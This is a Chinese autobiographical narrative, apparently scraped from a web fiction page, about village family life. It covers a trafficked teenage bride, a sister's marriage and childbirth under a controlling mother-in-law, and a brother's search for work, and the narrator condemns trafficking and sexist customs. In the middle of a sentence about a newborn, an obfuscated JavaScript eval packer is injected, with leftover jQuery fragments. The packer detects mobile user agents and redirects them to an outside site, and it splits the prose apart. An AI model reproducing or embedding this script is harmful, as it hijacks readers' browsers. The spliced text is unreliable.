1.甜蜜的妈妈


    一个午后，我在屋里剥蒜。听到天井里有女人的声音：“他三姐，我把借恁的几穗玉蜀黍还给恁了哈！”


    “噢，恁来了，三婶子！就几穗玉蜀黍，给小兄弟、小妹妹吃了是的，还什么还啊！恁还从大西南跑到大西北，也不嫌累得慌。”我妈妈说。


    “那可不行，借的就是借的。”那个年轻一点的女人说。


    我大概听出了是谁。


    “恁还坐坐吧，三婶子？”


    “我不坐了，我还要回家做饭，甜蜜回来了，买了个鸡，我得去剁剁。”


    那个女的走了。我妈妈回来跟我一起剥蒜。


    我问我妈妈：“是甜蜜的妈妈啊？”


    我妈妈说，“是的！不是她还有谁啊，唉！都怪凡乐他爹，这哪是行好啊，这是给自己的后代造罪！”


    我低着头，不说话，沉浸在跟我妈妈同样的愤怒和痛心里。


    “凡乐的爹，把甜蜜的妈妈——那个小丫头，从人贩子手里买下来，交给了甜蜜的爹——那个五十多岁的老头子。他们把小丫头跟那老头子锁在屋里。”


    “小丫头不同意，苦苦哀求，‘大哥！我跟你叫大哥！你放了我吧！’”


    “‘嗨嗨！我给你叫小妹！嗨嗨，我给你叫小妹！’”我妈妈学着那老头的笑，学地很像，很恶心。


    “凡乐他爹，还觉得自己干了一件美差。嗨嗨！‘鲶鱼’都五十了，我给‘鲶鱼’成个人家！”我妈妈学着凡乐他爹的语气。


    “甜蜜的妈怎么不跑的？”我说。


    “小丫头是贵州那边的，不认识字儿，没见过世面，十几岁被骗出来，让她跑，她都不知道往哪跑。等有了孩子，绊住腿儿了，让她走她都不走了。”我妈妈说。


    “甜蜜多大了？”我说。


    “甜蜜跟恁弟弟差不多大。他爹都七十了，牙都快掉光了。又给他生了小弟、小妹。”


    我问：“甜蜜还上学吧？”


    我妈妈说：“甜蜜早就不上学了，出去打工去了。”


    我说：“那他都该找对象了。”


    我妈妈说：“人人都想不通，老‘鲶鱼’为什么要给甜蜜再生小弟小妹的。光甜蜜一个，他们都给娶不起媳妇了，还要再生两个。”


    我说：“是的哎。一家子老的老，小的小，怎么吃的？怎么喝的？”


    我妈妈说：“‘鲶鱼’现在仗着自己老了，谁也不能怎么样他。他家没吃的了，他就挎个篮子到山上，这家掰几穗玉蜀黍，那家摘几把豆橛子，回去一大家子烀烀吃。谁家有喜事儿了，‘鲶鱼’就带着两个小孩儿到那一坐。有什么吃什么。人家也不跟他计较。恁么大年纪了。”


    “他掰就让他掰吧。谁也别和他计较了。甜蜜的妈怎么来还玉蜀黍的？”我问我妈妈。


    “还能老这样白吃白拿吗，等他家里有了，半夜哭老太太——想起来一阵子，就去还给人家。”我妈妈说。


    我想起来之前见到的一个老头儿，就问我妈妈：“我那天回来，看到一个小老头儿，拿三轮车推着两个小孩，都跟咱家蒜架子恁么高，在东头超市那里，是他吧？”


    “那八成是他！‘鲶鱼’推着三轮车带着小孩儿。人家谁去超市买煎饼，他就问人家要块煎饼给小孩吃。”我妈妈说。


    我家姊妹多，我太知道孩子多的难处了。都说多子多福，可是对于“鲶鱼”来说，那么多的孩子，这对他对孩子来说，哪里还是福呢？


    “‘鲶鱼’一辈子快过完了，两个小孩儿怎么办？给甜蜜养啊？他连学都没上，他连自己都养不起！”我说。


    “听说甜蜜现在都不愿意回家了，恨他妈。”我妈妈说，“老‘鲶鱼’是糊涂了，这个年轻的小三婶子是怎么想的啊，也是糊涂了吗？唉！愁死个人！”


    一个阴雨天，我在家里用电脑给我妈妈看《甄嬛传》，近亭大哥来了。


    “我想让她大姑给我上电脑上查查，看看月梅搁老家的户口搁哪来。” 近亭在天井里说。


    我妈妈说：“这个我也不懂，恁大哥！你去问问俺恁大妹妹！”


    近亭那天穿着一件蓝色的汗衫，和一件蓝色的的确良衬衣。


    我跟他打招呼说：“来了？大哥！”


    近亭大哥进屋以后跟我说：“恁大姑，你能上电脑，给我查查月梅的老家吧，她家搁山西。”


    我笑着说：“我查不出来！”


    近亭大哥不高兴了，不相信地说：“不可能的，人家派出所的都能查出来的？”


    我很为难，就跟他解释说：“人家派出所的电脑，那是联网的，我这个私人的电脑，怎么可能查的到呢？”


    “你还是不想给查！”近亭说。


    我说：“我真不是不想给恁查！我这个私人的电脑真查不到！要是能查得到，那不乱套了吗？谁都能查到别人的户口。”


    “你自己怎能上电脑的？”近亭说。


    “我自己也没上电脑，我只是拿它看电视的，你不懂。”我跟他解释着。


    “你都能使它看电视，你还不能查？”近亭说。


    “俺家根本就没有网，我跟俺妈妈看的电视剧，都是事先下载好的。”我说，“哎哟！我跟你越说越说不清了。跟你说你又不懂。”


    近亭生气了，转身走了，他的蓝色褂子的衣襟在他的背后飘着，他嘴里嘟嘟囔囔地，不知道骂我了没有。我知道他嘴里平时也不太干净，可是我实在没办法帮他查，他六十多岁奔七十的人了，跟他解释，他也不懂，也不听。


    唉！我老老实实坐在家里，好端端地就把近亭得罪了，无端地就要被他恼恨几天。你说这事儿闹的。


    2.立勤大爷爷去世了


    这年的冬天，立勤大爷爷去世了，留下了大奶奶和乔乔大叔。


    “大爷爷临死安排的，让恁大奶奶带着乔乔回她娘家。”我妈妈说，“恁大爷爷没对得起自己的妻子孩子！”


    “乔乔都三十多了，之前有好几回要去□□恁大奶奶，恁大奶奶都是吓唬他。‘被他看到，打死你！’这回，恁大爷爷死了，就剩下傻娘俩儿了。听说娘俩儿就这样搁一块儿过了。”我妈妈说。


    “这也不能笑话，她傻！” 我妈妈看似轻松地说，“就跟小动物似的！”


    “唉！人到八十八，别笑话人瘸和瞎。”我妈妈说，“千秋万岁，谁知道谁后代子孙怎么样。”


    我不说话。这种事儿不能笑话，可是想想怎不叫人心痛。


    “据说人家为了配种儿，蒙住儿马的眼，让它跟母马配对儿。等它睁开眼知道是自己的娘，就不吃不喝，绝食而亡了。牛马比君子，可怜！”我妈妈哀叹着说。我知道我妈妈终究没办法对这件事儿感到真正地轻松。


    是的，傻子虽傻，难道不如牛马乎？傻子虽傻，到底不是牛马，纵使她自己不知道心痛，别人怎能不为之心痛。呜呼哀哉！


    立勤大爷爷去世了。他是我的诗词启蒙老师。他生前写了一辈子对联，可惜身后没人为他写上一副挽联。假如立勤大爷爷生前也曾为自己准备一副挽联，那内容一定是他一生经历的写照。到底有没有人为他写呢？我不知道，大概没有吧。对联是写给活着的人看的，对联是用来风光的。大爷爷妻儿呆呆弱弱，家中几乎无人应门立户。怎么会有人有那个闲心来为他写什么挽联呢？为人写挽联的人很多，但是像立勤大爷爷那样，真正不用拿个本子来抄写，能写得真正契合逝者身份的人又有几个？立勤大爷爷孤傲一生，死后，连一副挽联也没有混地上。


    半夜里，我睡不着觉，想着立勤大爷爷的一生，为他杜撰了一副挽联，算是我蒙他赐教却无暇顾及他的一种补偿：


    广结善缘，飞舌答辩，眉上孤愤谁知？凤兮去矣，莫谈人间恩怨。


    勤抚众生，走笔评判，身后凄凉难料。魂兮归来，应佑小儿涂炭。


    3.我妹妹的婚事


    快过年的时候，有人向我妈妈提起我妹妹的婚事。对方家是镇上开油坊的，家里有三个女儿、一个儿子。他家不嫌弃我家穷。过年的时候，还给我家送了一块并不鲜艳的白色居多的猪肉。我妈妈也不怎么劝说我妹妹，只让她自己拿主意。我妈妈的意思是，我妹妹可以嫁人了。反正她上的职中，毕业了也是出来打工，我妹妹胆小懦弱，出远门打工我妈妈也不放心，还不如在附近找个人家。我妈妈看在跟前，也放心。


    年后，那家大叔约我们去他家看看人儿，到了约定的日子，我带我妹妹去了。到了镇上那家油坊，他们家的儿女都还没起。我们跟那家大叔、大婶谈了几句。无非是问问我妹妹的年纪。不一会儿，他家的几个女儿出来了，他家顶着一头黄毛的小儿子也出来了。大叔朝我们使个眼神儿，意思是让我们看看人儿。那个小男孩儿不高，还是个十几岁小孩儿的样子，低着头微笑着，不怎么说话。我跟他爸妈说着话，我妹妹不怎么吭声儿。


    我以为我家太穷，有个镇上的富裕之家看上了我妹妹，她可能会很满意。谁知道等我们离开以后，我问我妹妹的意见，她说她一点都看不上那个小男孩儿。她喜欢个子高的。


    我妈妈去青羊山镇上卖菜的时候认识了一个大姐，姓熊。这个“熊大姐”对我妈妈很好，我妈妈回家常跟我们说起这个“熊”大姐。


    “恁‘英雄大姨’搁青羊山街上卖菜。对俺可好了。她还让俺去她家吃饭。恁‘英雄大姨’还喝酒。她让俺喝，俺不喝。她一家三口儿都喜喝啤酒。她几个闺女送节礼都给她家买啤酒。”我妈妈说。


    “谁是‘英雄大姨’哎？”我问她。


    “搁青羊山街上卖菜的大姨，姓‘熊’。一个女的，我嫌叫她‘熊’大姐不好听。我就给她叫‘英雄大姐’，让笑笑给她叫‘英雄大姨’。”我妈妈说。


    “你还怪有才分来。把个狗熊的‘熊’给变成英雄的‘雄’了。”我笑着跟我妈妈说。


    “那！恁妈妈是有状元之才，没有状元之命的。”我妈妈说，“‘英雄大姨’的男人只有一个手，他年轻的时候放炮，把另一个手给炸没了。恁‘英雄大姨’带着她儿卖菜。等她娘俩儿卖菜回来，恁‘英雄大姨’就往铺上一躺。老头儿忙着去炒菜、做饭。你说说，恁大姨哈，也不去帮忙，就让恁大爷一只手按着案板切菜、做饭，我看到都过意不去。响响也不去帮忙。”


    “响响多大来？”我问。


    “响响跟笑笑差不多大。他姊妹五个。恁大姨生了四个闺女，末晚儿生了这一个儿。她家人丁不旺，三代单传。”我妈妈说。


    “响响怎么恁么不通人性的？他妈妈不去帮忙，他也不去帮忙啊。”我说。


    “人家响响跟着他娘卖菜，可老实了。各人，有的人就是不喜做饭。”我妈妈说。


    后来，大概是知道我妹妹喜欢个子高的，我妈妈看人家就一个男孩儿，还在青羊山镇上，离我家不远，就动了这个男孩子的心思。


    一次，遇上“英雄大姨”，我妈妈就跟她说起我妹妹的婚姻大事，让她帮着留意着。


    “英雄大姨”说：“眼下还没有般配的小男孩儿哦，不知道俺家大响配得上恁家小姐吧。”我妈妈没直接表态，就说：“小孩儿的婚姻，还得看小孩儿自己的缘分。”


    后来，“英雄大姨”又跟我妈妈说起了她家的小男孩儿和我妹妹的婚事儿，两家约个日子见面。我妹妹当时也没有什么新衣裳，就穿了我给她的一件绿色的运动外套，和一条蓝色的牛仔裤。我家也没有鞋油，她到我家压水井那里刷了刷鞋上的泥，就跟着我妈妈去“英雄大姨”家相亲去了。


    我妈妈和“英雄大姨”在外间说说话儿，让两个小孩儿自己去拉拉呱。大响喊我妹妹去里间听mp3，我妹妹跟着去了。


    过了一会儿，两个老妇女进去看看她们的儿女，只见两个小男女坐在一起，肩膀靠着肩膀，一人耳朵上插着一根耳机线，在听音乐呢。


    我妈妈早就心里有数：“笑笑长得跟天仙似的！又有文化！大响上哪找这样儿的去！”


    这门亲事当场就定了下来。当天，“英雄大姨”就带着我妹妹去买了电动车、手机。电动车放在大响家，大响说，等他有空了就接我妹妹去他家，他教她学电动车。


    这以后，我妹妹就经常来往于大响家和我家。


    这以后，我家的人到青羊山赶集的时候，路过了大响家的青菜摊子，都是跟贼似的绕着走。


    “俺去青羊山从来不走大响家的菜摊子。怕人说孬种，想吃人家的青菜的。大响妈还说我，自从两家结了亲了，她卖菜的时候就看不到咱家的人了。大响以前的那个丈母娘就集集都到，每回都把洋车子放到大响菜摊子上。临走的时候，大响妈都给她带上一捆子青菜。”我妈妈说。


    我说：“大响以前也谈过？”


    我妈妈说：“谈过。那个小丫头跟着大响跟了四十多天。那个小妮长得才好。白白胖胖，四大面方的。跟着大响赶集，大响搁菜摊子上卖菜，她裹着大衣坐在车上，还喊冷。一会儿叫大响给她掖掖这儿，一会儿叫大响给她掖掖那儿。可会撒娇了。”


    “那后来怎么没成的？”我问我妈妈。


    “后来恁大姨觉得那个小丫头头脑有点问题。恁大姨带着她去吃八大碗，坐席的时候，那个小丫头跟人家说，俺以前跟旁人谈过，流产了。你说这是不是头脑有毛病了？恁大姨不让愿意了。”


    “大响也同意了？”我问，“他跟那个小丫头好了恁么多天，说散就散了？”


    “哪有哎。恁大姨不让愿意的。大响恼地睡了二十多天。”我妈妈说。


    “那他怎么恁么听他娘的话的？他不能去找人家啊？”我说。


    “他那时候还小，十几岁。要是搁在现在，不一定了。”我妈妈说。


    我说：“你说说，俺小妹跟了大响，弄得俺去青羊山赶集都不敢路过他家菜摊子了。卖菜都是偷偷地去买旁人家的。”


    我妈妈说：“其实就去他家买也没事儿，一样给钱不就行了吗？买谁的不是买啊？菜卖不出去可急得慌了。去买他家的菜就是给他家帮忙的。就是人家不要咱的钱。”


    我说：“那我还是不好意思去他家买菜。好像我有意想白吃他家的菜似的。”


    有一天，大响过生日，让我妹妹去他家吃饭。天黑了，我妹妹还没有回家。我妈妈吃完晚饭，就一直等我妹妹回家。我妈妈左等右等，我妹妹还没有回来，她等地有些心急了。我弟弟更是气呼呼地，觉得大响把我妹妹留在他家，是不怀好意。我妈妈给我妹妹打了好几个电话，大响才跟我妹妹一起来到我家。


    大响跟我妹妹刚走到我家大门口儿，我妹妹看到我妈妈跟我弟弟嘟囔着脸，知道我妈妈不高兴，就带着哭腔跟我妈妈解释说：“妈，今天大响生日，他五点才收摊儿，等回到家，大姨忙着做饭，大响忙着去买蛋糕。等俺大姨烧好饭，都六七点了。大响怕你生气，催着我赶紧吃了几筷子菜，就把我送过来了。”


    我弟弟不说话，他虎着脸，走上前去，一把攥住大响的手。他表面上是在跟大响握手儿，实则是暗暗地运起气功，运用内力，使劲儿攥紧大响的手，想把大响的手指给攥疼攥断，想给他点儿颜色看看。我弟弟这一招儿叫“大力金刚指”。谁知道大响这人虽然老实，有亏来到面前来也是不肯吃，他碰到我弟弟的“大力金刚指”，也登时攥紧我弟弟的手，瞪着眼，运起气功，运用内力，跟我弟弟较起劲儿来。


    我妈妈看着形势不对劲儿，赶紧劝和：“鸿雁，你是干什么的是！赶紧把手松了！”我弟弟这才把手松了，大响也把手松开了。


    我弟弟强忍着疼痛，嘿嘿一笑说：“我是想试试他的膂力如何！还行！”


    我弟弟说地轻松，殊不知，大响久经菜场，闻鸡起舞，搬运腾挪，风吹日晒，吸收天地日月精华，晒地乌黑光亮，如同一只烤鸭，早已修炼地铜筋铁骨了。无论是身高体力，还是内功外功气功混元神功，我弟弟根本就不是大响的对手。要不是我妈妈及时喝住，他的手指被大响给捏碎了也未可知。


    十月份，我家该起蒜了，大响也来帮忙。两个人拿着小铲子帮我妈妈挖蒜。我妹妹跟我妈妈说说笑笑，大大咧咧。大响埋头挖蒜，默不吭声。


    我妹妹那时正值花一样的年纪，她留着新剪裁的细细碎碎的长发，扎起辫子，穿着粉色的衣服，脸上白白净净的。大响虽然有些黑，但也是十八九岁，风华正茂的年纪，他穿着白色的短袖，阳光帅气。


    我妹妹比我会打扮，自从跟大响恋爱以后，我妹妹打扮地更时髦了。她买了好几件新衣服，头发也剪地潮流了，她的身材相貌本来就好，这样一打扮，看起来一点都不像是我家的人了。


    凡庄的人都说大响太黑，配不上我妹妹。可是我妹妹喜欢，她天天在我家院子里唱歌：“要嫁就嫁灰太狼，这样的男人是榜样。”


    我妹妹那阵子跟大响谈地正热，天天捧着手机跟大响发信息。我妈妈一看，实在不像样儿了，就跟她说：“笑笑啊，你天天捧着个手机，也不看书学习了。你把手机给妈妈。妈妈给你保管着。”我妹妹说：“我的手机，谁也不能拿走！我让你保管干什么！”


    我弟弟走过去，一把把手机抢过来，我妹妹“哇呀”一声哭叫起来，她拿起菜刀朝我家鸡窝架子上“帮帮”地剁着，边哭边骂：“恁赶紧把我的手机给我！恁凭什么拿我的手机的！”


    我弟弟赌气就是不给。我妈妈看我妹妹哭地厉害，着实心疼，就跟我弟弟说：“鸿雁啊，你把手机给恁小妹！你看恁小妹哭的，可怜吧！她脾气恁么好，她这回是真生气了，你别把她气出好歹来。快给她！”


    我弟弟把手机拿到我妹妹跟前：“呐，别哭了！给你吧！”我妹妹这才止住悲声，一把把她的手机抢过去。


    我妹妹虽然是职高，但是比大响学历高很多，大响只上了几天学就学不进去了，早早退了学，跟着他妈卖菜。如今一二十年过去，连些许几个字也不认得了。


    每个星期天下午，大响开着他的电动三轮车来我家送我妹妹去上学。我妹妹跟我妈妈说：“妈，我没有钱喝茶了，你给我找十块钱带着。”我妈妈说：“行。钱都搁我床头上的书包里。你自己去拿吧。”我妹妹就跑去我妈妈那个装钱的书包里，拿上十块钱。大响就蹲在我家大门口儿等着。


    过了些日子，大响对我妹妹上学不放心，就开着电动三轮车带着我妹妹一起去她的学校，提前给她退了学毕了业。


    我妈妈说，我们家穷，跟姓凡的不来往，没钱也没人儿，三个儿女，哪个结婚也不大办。所以，我妹妹结婚，我家一点动静都没有。


    我妹妹快出嫁的时候，她婆婆跟我妈妈说：“让天英从俺家里走吧。去店里化完妆，再回到俺家。就不到恁家了。她几个姐都是这样的。”


    我妈妈听了很生气：“怎么能不走俺家呢。俺家再穷，那是娘家。闺女出嫁怎能不走娘家呢，这个太无视人了。不行！得走俺家！”


    她婆婆说：“那行吧。让天英搁俺家出去，到店里化完妆，再回娘家，从娘家再出来。”


    其实，我跟我弟弟都不希望我妹妹走娘家。因为娘家的风景实在是太煞风景了。妹妹的婚礼有录像，娘家的风景太给她丢脸了。我妹妹倒是没那么大的反应。她是我们三个里头最不虚荣的。


    她跟我弟弟商量说：“俺哥，等我结婚的时候，就搁你这屋里走行吧？你这屋录象好看一点。”


    我弟弟答应说：“行。”


    我那时候在上学。既然我妹妹出嫁，我家不办，我也没有请假回家。我妹妹就在她婆家住着。晚上，我跟我妹妹打电话。她的电话里传来一阵喇叭唢呐的声音。


    我说：“小妹，你在干嘛的？”


    她说：“我在听响的。”她说的听“响”就是听喇叭。


    到了八月十六那天，我妹妹要出嫁了。我妈妈一看，东庄上有一户人家在办丧事儿，那天正准备出殡。我妈妈赶紧给我妹妹打电话：“笑笑啊，你跟恁老婆婆说，你今天结婚不要走娘家了。化完妆直接回恁老婆婆家吧。这庄上有出殡的，别撞到一块儿去了。”


    我妹妹说：“行。回我跟俺老婆婆说。”


    我妈妈挂上电话，就拿上镰刀去地里割稻子去了。


    我妹妹结婚的时候，一个跟着摄像的男的跟我妹妹说：“你老公配不上你，你以后会后悔的。我给你个名片，你拿着。”我妹妹一时不知所措，接过那名片，又不知道放在哪里，一时恐慌，就把那名片放在捧花里。


    她们结婚以后，我妹妹就跟大响一起卖菜。


    大响在他家排行老五，他上面有四个姐姐。“英雄大姨”并不像我妈妈那样重男轻女，很重视她的几个闺女。大响也对这些个比他年长的姐姐姐夫唯命是从。大响有什么事儿，他的几个姐姐姐夫都来指手画脚，当然，该出人出力的，人家也出人出力。大响跟我妹妹也是没出过门儿、没见过世面的。他们俩儿买个东西，“英雄大姨”都让他姐姐带着去。大响也听他妈的话儿，从结婚直到现在，大响卖菜挣的钱都完完全全交给他妈。家里一应花销都是他妈说了算。我妹妹一分钱的家也不当。


    我妹妹一开始也去我的高中食堂上班。我妹妹很能干，一个人看几个烙饼的锅，食堂老板对我妹妹赞不绝口，这可苦了那些原本想轻松一下的大娘们。我妈妈当时也在食堂里。我妈妈气地骂她，不要那么能干，不要逞能，干起活儿来，一个顶俩儿，把那些大娘都得罪了。我妹妹不听，还是继续逞能。后来，大响怕我妹妹年纪轻轻在外头上班，会把他给甩了，又跑到学校食堂，把我妹妹的工作给辞了。我妹妹这一回家就再也没有上过班。


    我妹妹结婚以后，一两年内都没有怀孕。她婆婆以为是她的原因，让她大姑姐带着她四处求医，寻求各种偏方，开了药，带回家，熬药给她喝。


    我妹妹回家跟我妈妈说：“妈，俺老婆婆开的那些中药可苦了。我都喝不下去。俺老婆婆硬让我喝。”


    我妈妈说：“你哪有什么事儿。是大响不能生。恁老婆婆还折磨你。药是随便喝的吗？别把身体喝毁了。你要是喝毁了身子，后悔都来不及了。到时候，他们家拿着你更不当回事儿了。以前有个男的，自己不能生，天天拿着自己的媳妇治疗。天天让她喝中药，硬是把好好的身子给烧毁了。都不能尿尿了，天天挂着尿袋。你别跟他了，趁着年轻，早点改换门庭。跟着他，他不能生孩子。就成了无保了。”


    我笑着说：“妈，你给俺讲故事的时候，王三姐嫁鸡随鸡嫁狗随狗，碰到石头瓦块搂三年。怎么一到俺小妹，你就成了王三姐他爹了。让她趁着年轻改换门庭的？”


    我妈妈说：“那都是唱戏。哪个当娘的不巴望着自己的儿女过的好啊。”


    但是我妹妹意志很坚决，她说：“我不跟大响离婚，我生是他的人，死是他的鬼！”


    我妈妈说：“他要是不能生孩子呢？你要是不能生，人家早就不要你了！”


    我妹妹说：“俺好好治哎。”


    我也说：“就是的，现在医疗发达。能治好。你不要光听恁老婆婆的，光拿你治，你让大响也去看看。到县里好好检查检查。”


    我妹妹说：“俺老婆婆说了，回头就让俺四大姑姐带着大响去县里检查去。”


    我妈妈说：“你看看，一点不当家，老婆婆说什么是什么。老婆婆还听四个大姑姐的。四个大姑姐是少老婆婆。大响听他娘的。一切大权都是她老婆婆掌握。大响挣的钱也不给她。她一分钱的家也不当，人家真是拿她当猪养着的。这样的日子她也过得下去呢。”


    那年冬天，我妹妹陪着她家大响去县里检查了。


    她打电话的时候跟我说：“姐，大响搁县里开刀住院了。”


    我说：“大响怎么了？怎么住院了？”


    她说：“俺四姐带着大响来检查了。医生说的，是输精管堵住了。医生给他开刀了。”


    我说：“那我得去看看去。”


    我妹妹说：“那你来吧，姐。人家住院的床头上都放着一捧花，就大响没有花。你来的时候给他送个花。”


    我说：“好。我跟咱妈妈说一声儿。”


    我打电话跟我妈妈说：“妈，笑笑让我去医院看看大响，还让我给他带一捧花。我能去吧？”


    我妈妈说：“你是没出门子的大闺女。你不要去。你去了，她大姑姐看到别骂你。等他出了院，我去看看就行了。你没出门子，咱是一家子。我去就代表了。”


    我说：“行。我也觉得不合适。我也不太想去。”


    大响手术以后，没过多久，我妹妹就怀孕了。


    夏天，我去找她玩的时候，刚到她家大门口儿，就看到她穿着一件宽大的孕妇服站在她家大门前，摘她家大门儿旁的辣椒子。


    “大宝儿！”她看我来了，边摘着辣椒子，边叫我。


    这一年的冬天，快过年的时候，我裹着大棉袄，走在寒风里。我低头看一眼手机，看到了我妹妹的信息：“姐，我生了，生了一个女孩儿。被医生抱走了，放在保温箱里了。”


    我很高兴，也很心疼，我想着我妹妹是怎样拖着产后虚弱的身体，从被窝里伸出手来，在寒冷的空气里，颤抖着手指给我发信息的。


    我发信息安慰她说：“恭喜小妹！小外甥女诞生了。你好好休息，等我放年假就回去看你。”


    等我放年假回家的时候，我跟我妈妈一起去我妹妹家。我妹妹已经满月了。她戴着一顶红色的线帽，坐在床沿上。她的婆婆坐在床头底下的板凳上。她的床前放着一个暖风扇，床上躺着个小宝宝。小宝宝小小的眼睛亮亮的，萌萌的，很是可爱。宝宝的小手指从被子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137801|180320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里伸出来，像是一朵白白的、软绵绵的小菊花。


    我妈妈把一个包着两千块钱的红纸包，塞到小宝宝的手里。小宝宝一把紧紧地抓住了。我妈妈笑着跟她婆婆说：“大姐，你看咱孙女子！多好啊。”


    她婆婆说：“是的，俺这个孙女子啊，可不容易了。生下来就给抱走了，放搁保温箱里，俺花了四万多。天英怀孕的时候不能吃饭，吃口儿就吐。生的小孩儿身体也弱。”


    我妈妈说：“大姐，你别光看那四万，现在一个孩子多金贵了。给咱一百万，咱也不换啊。”


    她婆婆说：“是的。”


    我问我妹妹：“小孩儿叫什么名儿啊？”


    我妹妹说：“叫雪寒。”


    我说：“恁么好听的，真会起名儿，谁给起的？”


    她婆婆说：“医生给起的。”


    我妹妹说：“我怀孕的时候只想了男孩儿名儿，没起女孩儿名儿。等生出来了，一看是个女孩儿，我不知道该起什么名儿好。给我接生的医生说，这有什么难的。下雪了，天气寒冷，叫雪寒吧。”


    我说：“这个医生真会起名儿。”


    她婆婆说：“是的！我去给恁准备红糖水去。”


    我妈妈说：“你不要忙活了大姐。”


    她婆婆说：“哪能行啊，恁么冷的天。恁来一趟不容易。你不吃，还有大姐呢。”


    她婆婆出去了。我跟我妹妹说：“小妹，你得好好吃，吃好一点。好好补补身子。”


    她妹妹阴沉着脸说：“吃什么哎。你没听见吗？见人就说，花了四万，花了四万。嫌我怀孕的时候不能吃，生下小孩儿来，小孩儿还得进保温箱。钱都花出去了，没钱给我坐月子了，就俺大姑给了一个老母鸡，俺老婆婆煮了煮，撕了给我吃了。”


    我说：“花了四万，那也不能让你身体亏着啊。”


    我妹妹说：“嗯，她天天说，说的我心情也不好，我也不想吃了。”


    我说：“我给你点钱，你自己买点吃的补补身体吧。”


    我妹妹说：“我不要。都是一个锅里吃饭。我能自己吃吧？能不给他们吃吧？”


    不一会儿，她婆婆端着两碗剥了皮的煮鸡蛋进来了：“赶紧吃吧。大姐。”


    我接过碗来。我妈妈也接过碗来。


    我妈妈跟她婆婆说：“大姐，我看你床头放着一个小簸箕的。你拿它盖小孩儿的？”


    她婆婆说：“是的，快过年了，放鞭炮的多，人家说的，拿簸箕把小孩儿盖上。就不怕放炮仗了。”


    年后的时候，我去看我妹妹。我妹妹抱着小孩儿坐在沙发上。小孩儿穿着连体的棉裤，很是可爱。我喜欢小孩儿，拿着手机给她拍照。


    我妹妹抱着孩子不高兴地说：“姐，别拍了，拍照对小孩儿不好。”


    我说：“行。我回头就走了，小妹。我现在也没有多少钱，这几百块钱，你拿着自己随便花花吧。”


    我妹妹客气了一下说：“不要了，姐。咱妈不是给过了吗。”


    我说：“那是给恁老婆婆的，要充公的。这是我给你的。你不要跟恁老婆婆说，你自己留着。”


    我妹妹说：“回头我得给俺老婆婆说，不说她不知道。娘家给我花的钱，我都得让她知道。好让她心里有数，以后恁生小孩儿的时候，好让她花钱。”


    我笑着说：“随便你吧，我再拍几张小孩儿的照片哈。我喜欢小孩儿。”


    我妹妹也笑着说：“行！”


    我现在想想，我觉得不知道是我家里穷的原因，还是我妈妈本就是个粗枝大叶的人。我家的女孩，出了嫁，真的就成了泼出去的水。我妹妹生孩子的时候，是她婆婆陪着她去的镇上的医院，我妹妹没给我妈妈打电话，我妈妈也没有叮嘱我妹妹一定要给她打电话。


    我妹妹生了孩子，我妈妈也就是按照礼节，给了两千块钱的红包。此外，好像也没有其他的营养和关照。


    我妹妹因为孩子被抱进了保温箱，让婆婆家多花了四万块钱，被婆婆数落，心怀愧疚，又受婆婆挟制，月子里没得到好好的滋补。我妈妈离地那么近，也没有给她煮汤做饭来滋补。但我妹妹毕竟是个孕妇。她那是产后的身子。婆婆跟亲妈都没拿她当回事儿。


    我妹妹这个人凡事都那么会满足和隐忍，她居然还给他家生二胎三胎，来追生男孩。然后呢，等我妹妹的两个女儿结婚生育以后，我可以想见，我妹妹拿着她们也不会那么太当回事儿。


    一些愚昧的自私的害人的观念也是会传承的。


    然而我认为这是不对的，一个女孩子，在她结婚产子以后，是理应得到她的妈妈无微不至地呵护和疼爱的。那是她最脆弱的时候啊，她理应是她妈妈的心肝宝贝啊。


    我这辈子没有得到我妈妈的那种视若珍宝的疼爱。我白当了一回人了。所以，我对我的孩子特别疼爱。我就是要让她知道，她的妈妈对她非常爱，特别爱，宠爱，疼爱，偏爱，珍爱，唯一爱。一个人来到这个世上，只有得到她该得到的应有的爱，才不枉她来这世上走一遭啊。难道不是吗？我这辈子没有得到的，我会以无限给予的方式给她。我爱了她也就当是爱了我自己了吧。也就当是对我这辈子极度缺爱的生命的一种补偿吧。


    4.弟弟的营生


    我弟弟为期三年的技校生涯如期毕业了，该找工作了，我弟弟按照学校发的表格做了一个简历，让我给他修改一下。


    我一看那简历：


    学历：中专；


    普通话水平：一般；


    教育经历：最高阶段是高中；


    社会经验：三年暑假均在鲁南蔬菜批发市场促销。


    这简历根本就拿不出手啊。


    “自我介绍”部分是空着的，我又给他用一堆没有实际意义的废话充实了一下。他就拿着这份简历去人才市场上撞大运去了。


    人才市场上人才济济万头攒动，我弟弟拿着自己的一张简历觉得实在是太单薄太普通，就把自己的私人刻章拿了出来，“啪”地一声，在上头刻下了他的签名：八部天龙！


    旁边一个招聘的老板看看笑了。


    我弟弟说：“呐，给你一张！”


    我弟弟当然没找到工作。学校确实遵守承诺给他们安排了工作，就是去一个说不清是什么名堂的厂里干活儿。我估计那个厂不要上什么技校即使是目不识丁也去得。


    我弟弟进去了一下，我在门口儿等着他。不多一会儿，他像个害怕被留饭的孩子一样跑出来了。


    我问他：“怎么回事啊？你怎么不多看看啊？”


    我弟弟说：“不能干，全是粉尘！”


    最终，我弟弟决定去苏州打工。


    过了一阵子，他又回家了。


    我看到他，就问他：“小弟，你不是在苏州干地蛮好的吗？怎么不干了？”


    “不干了。厂里的人都拉帮结派，都欺负我。”他说。


    “人家有的人是苏北的，苏北的跟苏北的是一伙儿。鸿雁说，我也是苏北的。人家不理他，还是一块儿欺负他。”我妈妈说，“咱家的人到哪都受人欺负。”


    “厂里有些人是蛮坏的。他们都欺负你吗？有跟你处地好的吗？”我问我弟弟。


    “有一个。有一回，我被欺负急了，拿出刀子来，朝那人手上捅了一刀。他刚要报警，我赶紧陪了他五千块钱。后来我们两个处地可好了。”我弟弟得意地说。


    “那你回来准备干什么呢？”我问他。


    “我准备卖小玩具。”


    “卖小玩具挣钱吗？”


